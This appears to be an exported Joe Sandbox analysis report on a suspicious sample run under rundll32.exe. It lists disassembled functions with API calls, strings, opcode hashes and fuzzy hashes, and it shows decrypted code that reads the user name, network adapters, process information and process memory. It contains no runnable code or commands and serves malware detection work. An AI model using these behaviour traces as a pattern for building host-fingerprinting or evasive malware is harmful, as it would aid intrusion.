Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 59e4010215a3141cce08d13d82345839899d948b1e1f8ef04886fe37fb8ad2b4
Instruction ID: 9dae734a96083f673ad8dac3950a9c25b524db436c13347eccdb5f74644433a6
Opcode Fuzzy Hash: 59e4010215a3141cce08d13d82345839899d948b1e1f8ef04886fe37fb8ad2b4
Instruction Fuzzy Hash: 0351D8B1D007589FDB10DFA4C941BEEBBF8FF05300F1486AAE849A7241E774A645CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B270A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 00B27173, 00B271CE
\\?\, xrefs: 00B271E3, 00B27210

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: a4ffc64d78b0c1df7387c8cbc8a1e0d05f09fdabbcdab8f9a9bb738a38ef6189
Instruction ID: 8a1d165370323560246c20ffc16f4f5138c79cf956fb4251b155e772e9584e9d
Opcode Fuzzy Hash: a4ffc64d78b0c1df7387c8cbc8a1e0d05f09fdabbcdab8f9a9bb738a38ef6189
Instruction Fuzzy Hash: 0F510270A442249BDB14CF64E885BEEB7F5FF99304F10459DE40AB7290DFB46984CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00B3D4FA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B3D501
_swprintf.LIBCMT ref: 00B3D573

Part of subcall function 00B3254E: __EH_prolog3.LIBCMT ref: 00B32555
Part of subcall function 00B3254E: std::_Lockit::_Lockit.LIBCPMT ref: 00B3255F
Part of subcall function 00B3254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00B325D0

Part of subcall function 00B32FC8: __EH_prolog3.LIBCMT ref: 00B32FCF

Strings

%.0Lf, xrefs: 00B3D56B

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 3050236999-1402515088
Opcode ID: c0543086663747fb69594ea547407796e8294431db4b638586f3cd6ff03a3e57
Instruction ID: c6b5e30470edff2b0b2efd2ce767fa506f1ecd1d46d977061bbbd9f65110fede
Opcode Fuzzy Hash: c0543086663747fb69594ea547407796e8294431db4b638586f3cd6ff03a3e57
Instruction Fuzzy Hash: B9417971E00218ABCF05EFE0D895ADD7BF5FF18304F208589E846AB295DB75AA15CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B3D79E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B3D7A5
_swprintf.LIBCMT ref: 00B3D817

Part of subcall function 00B28610: std::_Lockit::_Lockit.LIBCPMT ref: 00B28657
Part of subcall function 00B28610: std::_Lockit::_Lockit.LIBCPMT ref: 00B28679
Part of subcall function 00B28610: std::_Lockit::~_Lockit.LIBCPMT ref: 00B286A1
Part of subcall function 00B28610: std::_Lockit::~_Lockit.LIBCPMT ref: 00B2880E

Strings

%.0Lf, xrefs: 00B3D80F

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 2a805786b71cc5937bf78b2f88ec58fe997e5dbdca2d447dc9cc7125daf803df
Instruction ID: 1f141ba6c9b9b968191479215b33c1f58770884faf0c2a060a521b0265193f76
Opcode Fuzzy Hash: 2a805786b71cc5937bf78b2f88ec58fe997e5dbdca2d447dc9cc7125daf803df
Instruction Fuzzy Hash: 6B418A71E00218ABCF05EFE4EC55ADD7BB5FF08300F204589E849AB295EB74AA15CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B41887 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B4188E
_swprintf.LIBCMT ref: 00B41900

Part of subcall function 00B29270: std::_Lockit::_Lockit.LIBCPMT ref: 00B292A0
Part of subcall function 00B29270: std::_Lockit::_Lockit.LIBCPMT ref: 00B292C2
Part of subcall function 00B29270: std::_Lockit::~_Lockit.LIBCPMT ref: 00B292EA
Part of subcall function 00B29270: std::_Lockit::~_Lockit.LIBCPMT ref: 00B29422

Strings

%.0Lf, xrefs: 00B418F8

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 0f130c915b2cf208925448421938c3cf83fd9783900869b2b6490a3730fe90e2
Instruction ID: 19ddfbdf0fcd3f76998f4c69850703b70f387ec498015a58ec9c152867f550e2
Opcode Fuzzy Hash: 0f130c915b2cf208925448421938c3cf83fd9783900869b2b6490a3730fe90e2
Instruction Fuzzy Hash: 0B418A71E00308ABCF05EFD4D894ADD7BB5FF08300F208989E816AB295DB759A55DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B46059 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00B4607E

Strings

RCC, xrefs: 00B46098
MOC, xrefs: 00B46090

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 04e5bf2912efbb0a6e219e3f814446417a3ec7797bdaa275ce8c4d78a86a0543
Instruction ID: ad625535717c2db5223aac8f00f82d7cba98e8a387e90fac542d73192b89c1fb
Opcode Fuzzy Hash: 04e5bf2912efbb0a6e219e3f814446417a3ec7797bdaa275ce8c4d78a86a0543
Instruction Fuzzy Hash: AC413771900209EFCF25DF98CC81AAEBBF5EF49304F188199F90877252D7359A51EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00B3DF8F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B3DF96
__cftoe.LIBCMT ref: 00B3E01A

Strings

!%x, xrefs: 00B3DFA7

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 83ec10e44f23eda15770ce520ccdb93ff213da132bcf5fa3eba91f1d3fb3b733
Instruction ID: 2af841c39bcd24faae1c2dfd2c8d24d0e0cd98fcfb2f106bdd802cc3ed944f73
Opcode Fuzzy Hash: 83ec10e44f23eda15770ce520ccdb93ff213da132bcf5fa3eba91f1d3fb3b733
Instruction Fuzzy Hash: 96314971D0020DABDF04DF94E981AEEB7F6FF08304F20449AF915A7251DB75AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00B419FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B41A01
__cftoe.LIBCMT ref: 00B41A7F

Strings

!%x, xrefs: 00B41A15

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: b4d873e901f66fe8f2ebc07bf0e3417529dc2fd3b33cf0ef8c669abb6179e1d0
Instruction ID: 6fd5fd552f077e7dbfdaf1236804144cb31857a2cda0671c7f3a951733823607
Opcode Fuzzy Hash: b4d873e901f66fe8f2ebc07bf0e3417529dc2fd3b33cf0ef8c669abb6179e1d0
Instruction Fuzzy Hash: 09318A32D1525CAFDF00DF98E881AEEBBF5EF09300F140499F854A7242D7759A85DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B25F40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00B25F86
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,823FDEC6), ref: 00B25FF6

Strings

Invalid SID, xrefs: 00B25FD4

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: c50712a36b589c7c3f4cab1af49560719567bd66ee9bc6caf52f61b8266b04ce
Instruction ID: b32b49b08ac2e3f256b5615a0b281dbab1716ab9701a8e17f4beab545406b155
Opcode Fuzzy Hash: c50712a36b589c7c3f4cab1af49560719567bd66ee9bc6caf52f61b8266b04ce
Instruction Fuzzy Hash: 2F21D270A04615DBDB20DF58D815BAFBBF8FF44714F10065DE519A7380DBB96A448BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00B29070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B2909B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B290FE

Strings

bad locale name, xrefs: 00B29121

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 02db0d2898a2bc2763cc3c9daac6749d038be843c840bbc0532ce99e63a31004
Instruction ID: 9ee476defff7f7458dc92e65a07cf21586c4fd7d43850867b75c5040244574f8
Opcode Fuzzy Hash: 02db0d2898a2bc2763cc3c9daac6749d038be843c840bbc0532ce99e63a31004
Instruction Fuzzy Hash: 1C21D270905B84EED721CFA8C90474BBFF4EF19710F108A9DE49997781D3B5A604CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B2F098 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B2F09F

Strings

false, xrefs: 00B2F0F6
true, xrefs: 00B2F109

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: ad90d1219858fc89d39df0856e91f21f3218963a204e968d9b320fa62b14c504
Instruction ID: 134ce517dba4ea6b3c3ec831661f0a943aaf5ac2a51a7071bc97bf64f44ccf09
Opcode Fuzzy Hash: ad90d1219858fc89d39df0856e91f21f3218963a204e968d9b320fa62b14c504
Instruction Fuzzy Hash: 2411B271941745AED720EFB4D841B9ABBF4AF05300F14CAAAF4A9DB351EB70E604CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B24070 Relevance: 5.2, APIs: 4, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,00B24261,00B64400,000000FF,823FDEC6,00000000,?,00000000,?,?,?,00B64400,000000FF,?,00B23A75,?), ref: 00B24096
LocalAlloc.KERNEL32(00000040,40000022,823FDEC6,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00B24154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,823FDEC6,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00B24177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00B24217

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: ef00bf39949ad1fede58cb254e194d2c8a41a79b83e2c45859193df3db915861
Instruction ID: 82632985dadd1d28e1d9d54a231c0f459ff6a87889e80a855bab0d5d76ab3366
Opcode Fuzzy Hash: ef00bf39949ad1fede58cb254e194d2c8a41a79b83e2c45859193df3db915861
Instruction Fuzzy Hash: 1551DF71A102159FDB18CF68D985AAEBBF5FB48300F10466DF829E7780DB34AE50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B21D80 Relevance: 5.2, APIs: 4, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,00000000,?,00000000), ref: 00B21E01
LocalAlloc.KERNEL32(00000040,7FFFFFFF,00000000,?,00000000), ref: 00B21E21
LocalFree.KERNEL32(7FFFFFFE,?,00000000), ref: 00B21EA7
LocalFree.KERNEL32(00000001,823FDEC6,00000000,00000000,00B63C40,000000FF,?,00000000), ref: 00B21F2D

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 901a6514de38188316b5df29d87958af4a6b65b86485ed637a82703768509487
Instruction ID: 40c686e218f0c017adc80fd4b6846f3be929ef45d442de9da754c418c77349a1
Opcode Fuzzy Hash: 901a6514de38188316b5df29d87958af4a6b65b86485ed637a82703768509487
Instruction Fuzzy Hash: 475104725042219FC715EF2CEC80A6BB7E8FF58360F110AAEF81AD7690DB30D9008791

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 5668, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	98.2%
Signature Coverage:	3.1%
Total number of Nodes:	383
Total number of Limit Nodes:	10

Executed Functions

Function 000001FB3AB7463C Relevance: 15.3, APIs: 10, Instructions: 291
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001FB3AB74666
GetCurrentProcessId.KERNEL32 ref: 000001FB3AB74673

Part of subcall function 000001FB3AB78AE0: GetUserNameA.ADVAPI32 ref: 000001FB3AB78B08
Part of subcall function 000001FB3AB78AE0: wsprintfA.USER32 ref: 000001FB3AB78B25

GetCurrentProcessId.KERNEL32 ref: 000001FB3AB74743
GetCurrentProcessId.KERNEL32 ref: 000001FB3AB7478D
OpenProcess.KERNEL32 ref: 000001FB3AB7479D
NtQueryInformationProcess.NTDLL ref: 000001FB3AB74800
ReadProcessMemory.KERNEL32 ref: 000001FB3AB74873
ReadProcessMemory.KERNEL32 ref: 000001FB3AB748CD

Part of subcall function 000001FB3AB7AD34: NtAllocateVirtualMemory.NTDLL ref: 000001FB3AB7AD6A

WideCharToMultiByte.KERNEL32 ref: 000001FB3AB74946
CloseHandle.KERNEL32 ref: 000001FB3AB74B2C

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: Process$CurrentMemory$HandleRead$AllocateByteCharCloseInformationModuleMultiNameOpenQueryUserVirtualWidewsprintf
String ID:
API String ID: 3997021431-0
Opcode ID: 4fcbf81e38295e8c30bf4c4e02621455fce0c4a51cb942f1f600040aacfb28cd
Instruction ID: cc63b39d3714fda7f396af326f9f0bff73ea2c2c2eaf72ce8f13dea13ddca1d5
Opcode Fuzzy Hash: 4fcbf81e38295e8c30bf4c4e02621455fce0c4a51cb942f1f600040aacfb28cd
Instruction Fuzzy Hash: 02F14E3DA8CB8685E760DB24E4843EAB3A8FB84784F600135D68D87799EF7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB77588 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitUnicodeString.NTDLL ref: 000001FB3AB775E3

Part of subcall function 000001FB3AB77414: GetFileAttributesW.KERNEL32 ref: 000001FB3AB77428

NtCreateFile.NTDLL ref: 000001FB3AB77662
NtClose.NTDLL ref: 000001FB3AB77680

Strings

@, xrefs: 000001FB3AB775C0
0, xrefs: 000001FB3AB775CB

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: File$AttributesCloseCreateInitStringUnicode
String ID: 0$@
API String ID: 2504508917-1545510068
Opcode ID: 76083a2609edba1498485c59019560715fe1d99402632d84a6ddf28b8a5ccd31
Instruction ID: 6a8a4288ff1a11caf3ac7d6b287c3b10e597fdb3a734a7c47523e01b49a67e89
Opcode Fuzzy Hash: 76083a2609edba1498485c59019560715fe1d99402632d84a6ddf28b8a5ccd31
Instruction Fuzzy Hash: 9621247A5187C187E7609F14E09439BB7A8F7C0348F604125E6C947AA9EBBEE489CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB777B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitUnicodeString.NTDLL ref: 000001FB3AB7781B
NtCreateFile.NTDLL ref: 000001FB3AB77898

Strings

@, xrefs: 000001FB3AB7782E
0, xrefs: 000001FB3AB77803

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFileInitStringUnicode
String ID: 0$@
API String ID: 2498367268-1545510068
Opcode ID: 04c235c605806e9dc8f2c28b84d8f7d6f4de585734f90aa2da62749025ce9b27
Instruction ID: a9d248d79d1bb2ba4c75fcb99962b3901e505d996d6585e0425ae5490bf1efd4
Opcode Fuzzy Hash: 04c235c605806e9dc8f2c28b84d8f7d6f4de585734f90aa2da62749025ce9b27
Instruction Fuzzy Hash: CD21D3765087C186E760CF14F49478BBBA4F3C4398FA08229E2D947AA8DB7DD589CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB768E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetAdaptersInfo.IPHLPAPI ref: 000001FB3AB76910

Part of subcall function 000001FB3AB7AD34: NtAllocateVirtualMemory.NTDLL ref: 000001FB3AB7AD6A

GetAdaptersInfo.IPHLPAPI ref: 000001FB3AB7693B

Strings

o, xrefs: 000001FB3AB7691A

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: AdaptersInfo$AllocateMemoryVirtual
String ID: o
API String ID: 2718687846-252678980
Opcode ID: 962fc864ad44ea50d102d36a4ef51c309c81b64051b49607d5a3645f8981529f
Instruction ID: 5b00cb16619b98e728d725e281d91af7f350b4bf3ab7bb63d383620dd138e538
Opcode Fuzzy Hash: 962fc864ad44ea50d102d36a4ef51c309c81b64051b49607d5a3645f8981529f
Instruction Fuzzy Hash: FC115A3E908B01C6D7709B14E0943AAB7B4F78C798F540225E68D47B68EBBDC680CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB7B0C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenKey.NTDLL ref: 000001FB3AB7B136

Strings

0, xrefs: 000001FB3AB7B108
@, xrefs: 000001FB3AB7B110

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: Open
String ID: 0$@
API String ID: 71445658-1545510068
Opcode ID: 795e13a4c90058da1f1586ebf72c997efb6f13dca80179e68242aeb83b732573
Instruction ID: 83c15a0bc45c4688808c987eaecd517ac5ddec0bdb01a051f7295fef37bd72dd
Opcode Fuzzy Hash: 795e13a4c90058da1f1586ebf72c997efb6f13dca80179e68242aeb83b732573
Instruction Fuzzy Hash: 62014F7A6186C186D760DF10E48039BBBA8F7C43C4FA04125E6CA86A69EB7DC555CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB78AE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 000001FB3AB78B08
wsprintfA.USER32 ref: 000001FB3AB78B25

Strings

alfons, xrefs: 000001FB3AB78B1E, 000001FB3AB78B2B

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID: NameUserwsprintf
String ID: alfons
API String ID: 54179028-1092396413
Opcode ID: 00ea61a6f36f2d287cf2ddfa281af9f578b78246b28b81e2290f27616a54ea60
Instruction ID: adc20849eab4a9a05a21b0be8a7ee639f2181a94058c279aac11d69e2931875e
Opcode Fuzzy Hash: 00ea61a6f36f2d287cf2ddfa281af9f578b78246b28b81e2290f27616a54ea60
Instruction Fuzzy Hash: 38F01C7DA6868392EB50AB14F8C03F9A329FB98784FE00031A14D46994EF7DD24ADB41

Uniqueness

Uniqueness Score: -1.00%

Function 000001FB3AB7B1D4 Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FB3AB70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1fb3ab70000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a33609b2a6856a8619b29129fe63f4e792fb1ba5e95133a34c5626e82038bfd
Instruction ID: 5b21f9238487bf9fe6a36a0a5a265297d365cced72f719a6047ada2b53423bd9
